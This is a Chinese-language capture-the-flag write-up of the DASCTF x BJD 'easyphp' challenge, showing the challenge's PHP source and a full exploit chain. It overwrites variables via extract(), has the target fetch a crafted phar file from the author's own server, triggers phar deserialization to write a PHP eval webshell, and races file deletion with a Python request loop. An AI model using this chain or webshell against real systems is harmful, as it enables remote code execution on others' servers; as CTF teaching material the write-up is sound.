DASCTF x BJD 12月圣诞狂欢赛 easyphp(file_get_contents写phar文件并进行phar反序列化)


DASCTF

[DASCTF x BJD 12月圣诞狂欢赛]easyphp

进入题目,即给源码:

image-20201225170112633

<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}

include_once('template.php');

$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');

if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}

if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?>

分析代码可知,构造如下可以读取文件,首先尝试读取/flag:

/?var[template][tp1]=/flag&tp=tp1

无果。

我们再将template.php读取出来:

/?var[template][tp1]=template.php&tp=tp1

image-20201225170236380

访问生成html文件,得到如下

image-20201225170323826

得到template.php的源码如下:


<?php
class Template{
    public $content;
    public $pattern;
    public $suffix;

    public function __construct($content){
        $this->content = $content;    // 读取得到的content
        $this->pattern = "/{{([a-z]+)}}/";
        $this->suffix = ".html";
    }

    public function __destruct() {
        $this->render();
    }
    public function render() {
        while (True) {
            if(preg_match($this->pattern, $this->content, $matches)!==1)     // 在content中能匹配到{{([a-z]+)}}
                break;
            global ${$matches[1]};   // 匹配到的{{([a-z]+)}}

            if(isset(${$matches[1]})) {
                $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
            } 
            else{
                break;
            }
        }
        if(strlen($this->suffix)>5) {
            echo "error suffix";
            die();
        }
        $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
        file_put_contents($filename, $this->content);
        echo "Your html file is in " . $filename;
    }
}

?>

我们发现,只要我们让render()方法执行,并控制后缀suffix为.php的话,便可以像目标主机上写webshell。render()方法执行的条件是将该类的对象进行反序列化,但是全称没有unserialize()反序列化点,所以我们考虑phar反序列化。

我们的思路是,借助file_get_contents函数远程读取位于我们vps上的phar.phar文件,然后借助phar反序列化漏洞修改Template对象中的后缀suffix为.php,并执行render()方法像目标主机写入webshell文件。

首先生成phar poc:

<?php
class Template{
    public $content = '<?php eval($_POST[whoami]);?>';
    public $pattern = "/(.*)/";
    public $suffix = ".php";
}

$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$poc = new Template();
$phar -> setMetadata($poc);
$phar -> stopBuffering();
?>

将生成的phar.phar上传到我们自己的vps(47.xxx.xxx.72)上。

然后构造如下,利用file_put_contents函数,读取位于我们vps上的phar.phar并写入目标主机:

/?var[template][tp1]=http://47.101.57.72:8848/phar.phar&tp=tp1

image-20201226102000067

如上图所示,将我们的phar.phar写入到了5e8adb7ac809c7da093145f3e066e972.html中。

然后构造如下,触发phar反序列化:

/?var[template][tp1]=phar://uploads/05a9d4ec2092f08e6e540c37b3addb7c/5e8adb7ac809c7da093145f3e066e972.html&tp=tp1

image-20201226102543565

如上图所示,成功生成了一个php文件,也就是我们写入的webshell。

但是该php文件一访问就没了:

image-20201226102654527

应该是目标主机上会定时删除我们生产的文件。并且我们注意到,每次访问生成的html和php的文件名都一样,所以我们可以写一个python脚本不停地进行方法,不停地往里面写webshell:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import requests
import time

url1 = "http://8.129.41.25:10305/?var[template][tp1]=http://47.101.57.72:8848/phar.phar&tp=tp1"
url2 = "http://8.129.41.25:10305/?var[template][tp1]=phar://uploads/05a9d4ec2092f08e6e540c37b3addb7c/5e8adb7ac809c7da093145f3e066e972.html&tp=tp1"
while 1:
    res1 = requests.get(url=url1)
    time.sleep(1)
    res2 = requests.get(url=url2)
    print(res2.text)

执行该脚本即可:

image-20201226102918586

然后用蚁剑连接我们生成的webshell,连接成功:

image-20201226103003498

执行根目录里的readflag即可得到flag:

image-20201226103056496


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC